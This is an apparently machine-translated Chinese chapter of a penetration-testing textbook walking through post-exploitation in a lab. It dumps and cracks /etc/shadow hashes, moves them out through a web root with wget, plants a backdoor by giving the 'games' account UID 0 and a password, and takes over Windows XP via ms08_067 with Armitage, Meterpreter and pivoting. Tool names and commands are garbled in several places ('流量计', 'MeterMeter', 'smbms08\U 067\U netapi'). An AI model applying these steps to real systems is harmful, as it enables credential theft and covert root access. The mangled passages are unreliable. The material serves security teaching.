42 4 1 * * root run-parts /etc/cron.monthly
0-59/5 * * * * root /usr/bin/mrtg /etc/mrtg/mrtg.cfg

Crontab 允许我们安排任务。这可用于设置持久性或运行您无权运行的程序。Crontab 将以 root 用户身份运行任务。

fstab是控制分区安装方式的配置文件。

cat /etc/fstab
LABEL=/ / ext3 defaults 1 1
LABEL=/boot /boot ext3 defaults 1 2
none /dev/pts devpts gid=5,mode=620 0 0
LABEL=/home /home ext3 defaults 1 2
none /proc proc defaults 0 0
none /dev/shm tmpfs defaults 0 0
LABEL=/usr /usr ext3 defaults 1 2
LABEL=/var /var ext3 defaults 1 2
/dev/hda6 swap swap defaults 0 0
/dev/cdrom /mnt/cdrom iso9660 noauto,owner,kudzu,ro 0 0

以下是可能感兴趣的其他配置文件的列表:

  • /etc/master.passwd

  • /etc/resolv.conf

  • /etc/apache2/httpd.conf/etc/httpd/conf/httpd.conf

  • /etc/exports

  • /etc/ldap/ldap.conf

  • /etc/samba/smb.conf

    提示

    **挑战:**浏览目标系统,找到您最感兴趣的文件,然后创建一个脚本,让您能够自动化整个过程!

可以提供有价值信息的其他文件包括 /mnt, /media, /tmp, /opt,当然还有与目标机器上安装的项目相关的特定配置或数据文件。例如,如果目标系统包含 Apache 或任何其他特定软件的实例,则需要检查配置和日志文件。

用户和凭证

有几个文件控制用户对系统及其文件的访问。除了收集网络其余部分的网络和服务数据外,这可能是后期利用最重要的部分。如果您能够确定在整个网络的其他系统上工作的用户名和密码,那么渗透测试完全成功的可能性将显著增加。对于 Linux 系统,有几个文件可用于尝试获取用户凭据。

我们还应该使用 w检查系统中已经有哪些人:

w 
9:49pm up 7:09, 0 users, load average: 6.29, 2.65, 0.98
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT

我们可以通过键入 last:来确定谁是最后一个登录的人

last 
last
reboot system boot 2.4.7-10 Sat Jan 7 14:39 (07:13)
reboot system boot 2.4.7-10 Tue Jan 3 23:40 (3+22:12)
wtmp begins Mon Jan 2 17:03:16 2012

看起来没有实际的用户登录。如前一输出所示,使用 last命令时也会显示重新启动。

确定是否有任何本地用户帐户最近访问过系统的一种方法是使用 lastlog,该方法将显示所有用户帐户的列表及其上次登录的时间:

lastlog
Username Port From Latest
root pts/0 192.168.75.12 Wed Nov 16 16:11:52 -0500 2011
bin **Never logged in**
daemon **Never logged in**
adm **Never logged in**
lp **Never logged in**
sync **Never logged in**
shutdown **Never logged in**
halt **Never logged in**
mail **Never logged in**
news **Never logged in**
uucp **Never logged in**
operator **Never logged in**
games **Never logged in**
gopher **Never logged in**
ftp **Never logged in**
nobody **Never logged in**
mailnull **Never logged in**
rpm **Never logged in**
xfs **Never logged in**
rpc **Never logged in**
rpcuser **Never logged in**
nfsnobody **Never logged in**
nscd **Never logged in**
ident **Never logged in**
radvd **Never logged in**
postgres **Never logged in**
apache **Never logged in**
squid **Never logged in**
pcap **Never logged in**
john pts/0 192.168.1.100 Sat Sep 26 11:32:02 -0400 2009
harold pts/0 192.168.75.12 Wed Nov 16 23:13:07 -0500 2011 

从输出可以确定用户 johnharold都已登录系统。一个从 192.168.1.100网络登录,另一个从 192.168.75.12网络登录。一旦我们从这两个帐户获得密码,我们应该首先确定这些系统是否在我们的测试范围内,如果在测试范围内,我们应该尝试使用从 Kioptrix 机器收集的凭据登录任何可用的服务。

当我们进行此操作时,还应该枚举 SSH 密钥。我们可以在 /root/.ssh目录中查看是否存在任何此类密钥的迹象:

ls -laG 
total 2
drwx------ 2 root 1024 Jan 3 21:42 .
drwxr-x--- 4 root 1024 Jan 7 15:14 ..

在这种情况下,Kioptrix 机器上没有可用的 SSH 密钥。让我们看看我们的回溯机,看看结果是否相似。理想情况下,您可以找到连接到远程机器所需的密钥。注意:此计算机必须通过 SSH 连接到其他计算机。

root@bt:/# cd /root/.ssh
root@bt:~/.ssh# ls -laG
total 12
drwx------ 2 root 4096 2011-11-16 10:51 .
drwx------ 28 root 4096 2012-01-07 09:56 ..
-rw-r--r-- 1 root 270 2011-11-16 10:51 known_hosts
root@bt:~/.ssh# cat known_hosts 
|1|DbaaaaaaGlFWCelYp3KEaaaWTtE=|z7BPaaaaaafdYE1SW/HaIaJaaQk= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvv8UUWsrO7+VCG/sadfasdfasdffasdfas dfasdfasdfasdfasdfasdfasdfasdfasdfnu9ksKD1fA83RyelgSgRJNQg PfFU3gngNno1yN6ossqkcMQTI1CY5nF6iYePs=

一旦我们掌握了基本知识,我们需要收集 /etc/passwd和影子文件,以便我们可以尝试破解密码:

cat /etc/passwd 
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/dev/null
rpm:x:37:37::/var/lib/rpm:/bin/bash
xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false
rpc:x:32:32:Portmapper RPC user:/:/bin/false
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/bin/false
ident:x:98:98:pident user:/:/sbin/nologin
radvd:x:75:75:radvd user:/:/bin/false
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
apache:x:48:48:Apache:/var/www:/bin/false
squid:x:23:23::/var/spool/squid:/dev/null
pcap:x:77:77::/var/arpwatch:/bin/nologin
john:x:500:500::/home/john:/bin/bash
harold:x:501:501::/home/harold:/bin/bash
cat /etc/shadow 
root:$1$WasYaJER$pkIFNw3QPNYUjQvLaFr7A/:15294:0:99999:7::: 
bin:*:14513:0:99999:7:::
daemon:*:14513:0:99999:7:::
adm:*:14513:0:99999:7:::
lp:*:14513:0:99999:7:::
sync:*:14513:0:99999:7:::
shutdown:*:14513:0:99999:7:::
halt:*:14513:0:99999:7:::
mail:*:14513:0:99999:7:::
news:*:14513:0:99999:7:::
uucp:*:14513:0:99999:7:::
operator:*:14513:0:99999:7:::
games:*:14513:0:99999:7:::
gopher:*:14513:0:99999:7:::
ftp:*:14513:0:99999:7:::
nobody:*:14513:0:99999:7:::
mailnull:!!:14513:0:99999:7:::
rpm:!!:14513:0:99999:7:::
xfs:!!:14513:0:99999:7:::
rpc:!!:14513:0:99999:7:::
rpcuser:!!:14513:0:99999:7:::
nfsnobody:!!:14513:0:99999:7:::
nscd:!!:14513:0:99999:7:::
ident:!!:14513:0:99999:7:::
radvd:!!:14513:0:99999:7:::
postgres:!!:14513:0:99999:7:::
apache:!!:14513:0:99999:7:::
squid:!!:14513:0:99999:7:::
pcap:!!:14513:0:99999:7:::
john:$1$zL4.MR4t$26N4YpTGceBO0gTX6TAky1:14513:0:99999:7:::
harold:$1$X216PpNL$aMB5DK0mIxhg.BkiXmfjc/:15295:0:99999:7::: 

卷影文件包含所有哈希用户帐户密码。我们需要取消这些密码的阴影,以便它们对我们有用。

使用第三方破解您客户的密码不是一个好主意,除非您的客户完全理解您正在将密码发送到一个您无法控制的环境,并意识到这样一个过程中的固有风险。如果是这种情况,请确保**“以书面形式**获取,以确保在出现问题且密码在网络上泄漏时,您受到保护……注意:真正的攻击者将毫不犹豫地将这些文件发送给未知方以进行破解,但一切都有局限性,失去对客户数据的控制不是一个好主意。毕竟,与真实世界的攻击者不同,您应该关心您正在测试的环境的安全!

移动文件

在这一点上,已经有很多数据通过屏幕。通常,您会希望将这些数据推回到您控制的系统中。无论是内部设置为存储库的受损系统,还是与攻击系统的直接连接,您都需要想出一些方法将这些数据传输回去。

请勿使用生产级开放式 web 服务器存储或传输机密文件!经验法则是,你应该像对待自己的客户数据一样对待客户数据,将关键密码文件放在开放共享或任何其他不受控制的存储上是一个非常糟糕的主意。在现实生活中,您可以设置一个安全的传输机制,在该机制中您可以完全控制数据。它也应该尽可能地加密,特别是在通过互联网路由时。

Kioptrix 机器安装了一个开放式 web 服务器,因此获取文件的最简单方法之一就是将其复制到 /var/www/html目录,该目录对所有人开放。在 Kioptrix 壳类型中:

cp /etc/passwd /var/www/html/passwd
cp /etc/shadow /var/www/html/shadow
chmod 744 /var/www/html/shadow

通过键入以下内容来提取回溯路径上的文件,这将创建一个名为 kioptrixFiles的目录,将 pwd更改为该目录,然后从 Kioptrix web 服务器上提取文件:

# mkdir kioptrixFiles
# cd kioptrixFiles
root@bt:~/kioptrixFiles# wget http://192.168.75.14/passwd
--2012-01-08 15:36:37-- http://192.168.75.14/passwd
Connecting to 192.168.75.14:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1330 (1.3K) [text/plain]
Saving to: `passwd'
100%[======================================>] 1,330 --.-K/s in 0s
2012-01-08 15:36:37 (25.1 MB/s) - `passwd' saved [1330/1330]
root@bt:~/kioptrixFiles# wget http://192.168.75.14/shadow 
--2012-01-08 15:44:08-- http://192.168.75.14/shadow
Connecting to 192.168.75.14:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 948 [text/plain]
Saving to: `shadow'
100%[====================================>] 948 --.-K/s in 0s
2012-01-08 15:44:08 (50.9 MB/s) - `shadow' saved [948/948]

shadowpasswd现在都在回溯 kioptrixFiles目录中。在继续之前,我们应该从 Kioptrix 机器上的 web 服务器上删除两个文件:

rm /var/www/html/shadow
rm /var/www/html/passwd

在回溯机器上打开一个 shell 并浏览到您的 /pentest/passwords/john目录,在那里我们将使用 unshadow 将 Kioptrix passwdshadow文件合并到 kioptrixPW.db中。

# cd /pentest/passwords/john
# pentest/passwords/john# ./unshadow /root/kioptrixFiles/passwd /root/kioptrixFiles/shadow > /root/kioptrixFiles/kioptrixPW.db 

现在我们有了必要的文件,我们可以使用 john 尝试破解 kioptrixPW.db中的哈希。

请注意,破解密码可能需要几分钟、几小时甚至几天,具体取决于所使用密码的复杂性。。。

# root@bt:/pentest/passwords/john# john /root/kioptrixFiles/kioptrixPW.db 

在不使用漏洞的情况下访问系统的更快方法是修改现有帐户。使用 samba(或任何其他允许 root 访问的漏洞)打开 Kioptrix 机器的 shell,然后键入以下内容以更改游戏帐户,使其足以允许登录和 root 访问。

cd /etc
awk -F ":" 'BEGIN{OFS = ":"} $1 == "games" {$3="0"}{$4="0"}{$7="/bin/bash"}{ print }' passwd > test 

由于反向 shell 中对我们施加的限制,我们使用 awk创建文件的修改版本。我们将用户和组 UID 更改为 root 用户和组 UID,并添加 /bin/bashshell,以便远程登录。

cp passwd passwdOLD 

在更改任何现有文件之前,我们应该先备份它们。这在为客户机执行测试时尤为重要。

cp test passwd 

我们复制修改后的测试文件以覆盖 passwd

chmod 644 passwd 

将权限更改回与原始文件的权限相匹配可能会避免将来的复杂性。

passwd games 
New password: 1funnypassword
Retype new password: 1funnypassword
Changing password for user games
passwd: all authentication tokens updated successfully

我们向游戏帐户添加密码。当前 SSH 帐户不允许使用空密码。

在回溯机器上打开一个新终端,并使用新帐户连接回 Kioptrix。使用您为游戏帐户创建的密码(如果您严格遵守,请使用 1funnypassword):

root@bt:~/kioptrixFiles# ssh -l games 192.168.75.14 
games@192.168.75.14's password:
Last login: Mon Jan 9 00:35:42 2012 from 192.168.75.25
bash-2.05# whoami 
root

我们已使用修改后的 games 帐户连接到 SSH 服务器。所有以前的 shell 限制现在都被删除,我们可以在系统上使用任何命令,如 visudo,而不会出错。

微软视窗™ 剥削后

您测试的大多数环境都有许多窗口™-基于数据库的系统。重要的是要了解重要文件和设置的位置,以及在处理漏洞外壳施加的限制时如何获取和查看这些文件和设置。在这里,我们将讨论用于获取这些数据的各种方法。我们无法解释每一个操作系统或可能发生的情况,但我们可以为用户提供入门所需的基本知识。

基于 Windows 的操作系统使用包含几乎任何您想要的数据的 GPO,以便在 Microsoft Windows 操作系统上正确执行攻击后信息收集。

为了遵循本节的要求,您需要:

  • Microsoft Windows XP SP2 的一个注册副本:此计算机还需要为 Vlab_1 虚拟网络分配一个额外的虚拟 NIC(192.168.50.0/24)。如果您按照前面的章节进行操作,那么 VirtualBox 已经为该虚拟段分配了 IP 地址。

  • Kioptrix 1 级连接至 Vlab_1(192.168.50.0/24)。

  • 回溯连接到 VLAN1 上的来宾计算机(192.168.75.0/24)。

  • pfSense guest machine to provide the VLAN1 network with its DHCP addresses.

    如果您没有用于测试目的的 Windows 计算机,所有示例都将清楚地记录在案。

重要目录和文件

Windows 计算机中有许多重要的文件和目录。其中包括以下内容:

|

文件

|

路径

| | --- | --- | | *.log | %WINDIR%\system32\CCM\logs\*.log | | AppEvent.Evt | %WINDIR%\system32\config\AppEvent.Evt | | boot.ini | %SYSTEMDRIVE%\boot.ini | | default.sav | %WINDIR%\system32\config\default.sav | | hosts | %WINDIR%\System32\drivers\etc\hosts | | index.dat | Content.IE5\index.dat and other locations | | NetSetup.log | %WINDIR%\debug\NetSetup.log | | ntuser.dat | %USERPROFILE%\ntuser.dat | | pagefile.sys | %SYSTEMDRIVE%\pagefile.sys | | SAM | %WINDIR%\repair\sam | | SecEvent.Evt | %WINDIR%\system32\config\SecEvent.Evt | | security.sav | %WINDIR%\system32\config\security.sav | | software.sav | %WINDIR%\system32\config\software.sav | | system | %WINDIR%\repair\system | | system.sav | %WINDIR%\system32\config\system.sav | | win.ini | %WINDIR%\win.ini |

使用 Armitage 进行后期利用

在这一点上,我们应该已经习惯于使用“老派”的手工利用方法。了解渗透测试是如何进行的,这将提高在出现问题时对更强大工具进行故障排除的能力。它还允许您轻松地最终创建自己的模块和概念验证利用代码。pentesting 过程在不同的测试之间并没有真正改变:枚举和数据收集、利用,然后是后期利用。然而,有许多不同的工具和方法可以用来完成这些任务。在本节中,我们将利用 Armitage 的易用性和简单性,根据其网站和作者的说法,Armitage 是一个“Metasploit 的综合性红色团队协作工具…”-www.fastandeasyhacking.com/manual。阿米蒂奇由拉斐尔·穆奇创作,公众可在上查阅 http://fastandeasyhacking.com/ 也预装在回程上。现场免费提供的手册编写良好,易于阅读。

打开新的终端并键入:

# msfupdate 

这将更新回溯机器上的 Metasploit 框架。要使此命令正常工作,您需要连接到 Internet。

# armitage 

此命令将调用阿米蒂奇程序。当连接时。。。点击连接按钮,出现窗口。当提示您是否要使用 Metasploit RPC 服务器时,请选择。第一次运行 Armitage 时,可能需要几分钟才能完全加载。

Using Armitage for post-exploitation

继续之前,请花一些时间熟悉 Armitage 图形用户界面。

枚举

Armitage 允许几种收集数据的方法。我们将使用 nmap 功能查看示例网络上的内容。在顶部 Armitage 导航栏中选择主机Nmap 扫描快速扫描(OS 检测)

Enumeration

输入 192.168.75.0/24扫描正确的 VLAN1 子网。

Enumeration

扫描需要几分钟才能完成。一旦扫描完成,您将收到一条消息,说明您的扫描已完成,查找攻击选项应用于……查找攻击。

Enumeration

如果网络设置正确,您应该会看到类似于以下屏幕截图的内容:

Enumeration

就这样!我们已成功枚举 VLAN1 网络,我们的系统在 Armitage 中以图形方式显示。

剥削

使用 Armitage 进行利用很容易,而且非常简单,因此在选择目标时必须非常小心。确保枚举的目标在范围内后,选择攻击****查找攻击。流程完成后,您将看到一个弹出窗口,说明分析已完成。

Exploitation

现在是时候利用 ms08_067 漏洞接管这台 Windows XP 机器了。很少有人能像这一次那样始终如一、轻松地利用漏洞。右键点击工作区中的 Windows 系统图标,选择攻击smbms08\U 067\U netapi

Exploitation

将出现一个配置菜单。一切都会填好,准备出发。点击启动继续。

Exploitation

如果一切正常,工作区中的图标将更改为类似以下屏幕截图:

Exploitation

闪电是一个图形指示器,表明您已成功破坏了这台机器。

已经连接,现在怎么办?

祝贺您,Windows 系统已被破坏,我们现在可以利用 Armitage 和 MeterMeter 的组合来执行攻击后处理。通过右键单击受损机器的图像,我们可以从一个大的选项菜单中进行选择。让我们首先回顾一下目标系统上的内容,右键单击主机并选择**流量计<>【探索】**浏览文件。我们不仅看到了一个漂亮的文件列表,而且它是一种易于使用的图形浏览器格式。对于我们这些使用 GUI 比使用命令行更舒服的人来说,这应该是一个新鲜空气!

Were connected, now what?

使用菜单,我们也可以使用流量计 3探索显示流程菜单选项:快速查看系统流程

Were connected, now what?

不管操作系统如何,我们仍然需要知道目标系统上可用的工具类型。我们确定与之交互的系统类型也是非常重要的。这可以通过查看正在运行的进程、已安装的软件、用户历史记录等来确定。我们需要利用 MeterMeter 外壳来提取一些数据。

我们应该从一些更基本的命令开始。在 Armitage 中,右键单击受损系统并选择流量计 3交互流量计外壳。在流量计提示下,键入 sysinfo

Were connected, now what?

好的,根据我们在这里看到的输出,我们可以确定我们正在访问一台基于 x86 的 WindowsXPServicePack2 机器。让我们了解更多关于受损系统的信息。

网络详情

与 Linux 一样,尽快收集网络信息非常重要。MeterMeter 允许使用 ipconfig命令。

Networking details

在现实世界中,这绝对是一种令人欣喜的信息类型。该特定系统有两个不同的网卡,该系统用于探索 192.168.50.0/24 网络的可能性很高。在继续之前,我们应该看看路由表和其他网络信息。

Networking details

路由命令消除了我们可能有的任何保留,即二级网卡只是一种转移。为了更好地了解我们这里的情况,我们应该回顾更多细节。让我们在受损主机上启动一个 shell。这可以通过从仪表控制台键入 shell来获得。打开一个 shell 并浏览到 c:\windows\system32\drivers\etc目录。

shell
c:\> cd windows\system32\drivers\etc

我们可以使用 type 命令查看主机文件,该命令与 Unix 中的 cat 非常类似。

c:\WINDOWS\system32\drivers\etc> type hosts 

这里没有什么有趣的事;并不是你找到的每一份文件都能带来激动人心的发现。除此之外,尽可能彻底仍然非常重要。渗透测试可以非常类似于侦探工作,在侦探工作中,你不断地寻找线索,从而进入下一步。

Networking details

提示

请记住,type 命令的使用方式与在基于 Unix 或 Linux 的环境中使用 cat 的方式相同。

现在我们需要确定是否有任何有趣的网络连接来自这台机器。这些联系可以很好地引导我们实现下一个目标,并帮助我们确定总体优先事项。您测试网络的时间几乎肯定是有限的,您应该专注于最具吸引力的目标,以确保效率。记住要寻找的不仅仅是在机器上获得炮弹;业务部门需要了解他们的真实风险敞口,而不是看你能弹出多少未知系统。

我们可以使用 netstat -an来查看连接,就像我们之前对 Linux 所做的那样:

Networking details

现在我们有一些有趣的事情。请看一下此主机与端口 80上的 192.168.50.103之间的连接。看起来我们可能有一个 web 服务器在那台机器上运行!这绝对是个好消息。此时,192.168.50.0/24 网络上的设备似乎比 192.168.75.0/24 子网上的设备更有趣。如果目标机器上存在工具,我们可能已经从此主机启动扫描。

查找已安装的软件和工具

此时,我们已经检查了本地进程、网络连接以及对文件结构的访问。现在,我们可能想看看这个系统可以访问的其他一些网络,并确定是否安装了 nmap 或其他有价值的工具。下面是我们如何在基于 Windows 的操作系统上获取信息的方法。这是一个解决办法,因为 Windows 系统上的 locatewhich似乎没有直接替代品:

c:\> dir c:\ /s /b | find /i "important" 

此命令将所有目录导入 find 命令,该命令将在文件名中查找 NMAP 字符串“important”,而不考虑大小写。

Finding installed software and tools

请注意,当使用回溯 5 R1 时,此命令有时会锁定 Armitage。如果是这种情况,则需要重新启动 Armitage。

当试图查找任何已安装的软件或试图查找感兴趣的文件时,此命令将派上用场。

在 Windows 计算机上查找已安装软件的简单方法是查看已安装的程序,尤其是台式机;很可能系统中有所有默认的 Windows 工具可用。您将感兴趣的是一些比较模糊的项目,如 TFTP 服务器或网络扫描仪,您可以利用它们。

让我们来看看已安装的程序,老式的方法:

reg export HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall tmp.txt 

使用此命令,我们导出包含在 HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall键中的注册表信息。我们可以使用 type 命令直接查看结果:

type tmp.txt 

Finding installed software and tools

这个文件的一部分确实很有趣。查看 virtualbox 来宾添加字段。在这一点上,我们应该开始理解,我们可能正在处理一个虚拟化系统。当然,在理想情况下,我们会把整个注册表拉下来,因为它有大量的可用数据,应该在您自己的机器上进行筛选。与机器保持连接的时间超过需要的时间是没有意义的。

提示

此时,您应该能够查看注册表和文件系统,并以有序的方式找到您需要的内容。如果你真的想了解更多关于后剥削的信息,那么我想没有比最近从德比孔 2011 年录制的 darkoperator(Carlos Perez)题为“战术后剥削”的演讲更好的开始了。您可以在 Adrian Crenshaw 的网站www.irongeek.com上找到此演示文稿和其他许多精彩有趣演示文稿的链接。

旋转

阿米蒂奇使旋转变得微不足道。我们知道,有另一个网络可以从受损的 Windows 机器中使用,现在只需要能够扫描网络并从该系统发起攻击。有手动方法可以实现这一点,但最简单的方法是右键单击 Armitage 中目标机器的图形表示,然后选择您的流量计旋转设置选项。

Pivoting

您将看到一个菜单来选择您的轴心点。选择 192.168.50.0并点击添加枢轴

Pivoting

这将添加正确的路由信息,以允许您通过受害者机器执行扫描和其他攻击。让我们试一试:

  1. 选择您的 Windows 计算机。
  2. 在顶部导航栏中选择主机****MSF 扫描
  3. 输入 192.168.50.0/24并继续。这可能需要一些时间。
  4. 查看调查结果并从顶部的攻击菜单选择中选择查找攻击

您应该会看到类似于以下屏幕截图的内容:

Pivoting

右键单击新找到的主机并选择“扫描”以获取有关系统的更多信息。绿线为您的轴心点所经过的系统提供指导。这在处理大型、多样的网络时特别有用。

总结

在本章中,我们回顾了从受损主机查找和收集信息所需的步骤。我们还讨论了准备不当所涉及的风险,以及在进行任何测试之前就约定和遵守接战规则的重要性。此外,我们还提供了所需的基本信息,以便您了解利用后的思维过程,以及确保成功进行渗透测试所需的内容。

重要的是要记住,在窃取目标系统时,应该使用其他命令、工具和方法。记住要专注于目标,不要浪费太多时间去挖掘那些对测试没有好处的信息。每个测试团队(和测试人员)都有一组他们喜欢的命令和输出格式,只要找到关键信息

在这一点上,建议您开始习惯于记录您的工作。我们将在以后的章节中详细介绍报告,但请记住,为了报告,您将需要数据。同样重要的是,记录您可能在远程系统上运行的任何和所有系统命令,以防出现问题,或者您只是想在将来再次重复准确的测试,以查看在保护相关装置方面是否取得了进展。

在下一章中,我们将深入研究绕过防火墙和避免入侵检测系统。这在测试环境以及站点安全和网络工作人员的响应时非常重要。我们将介绍绕过入侵检测系统背后的逻辑,以及如何模拟常见的流量模式以避免检测。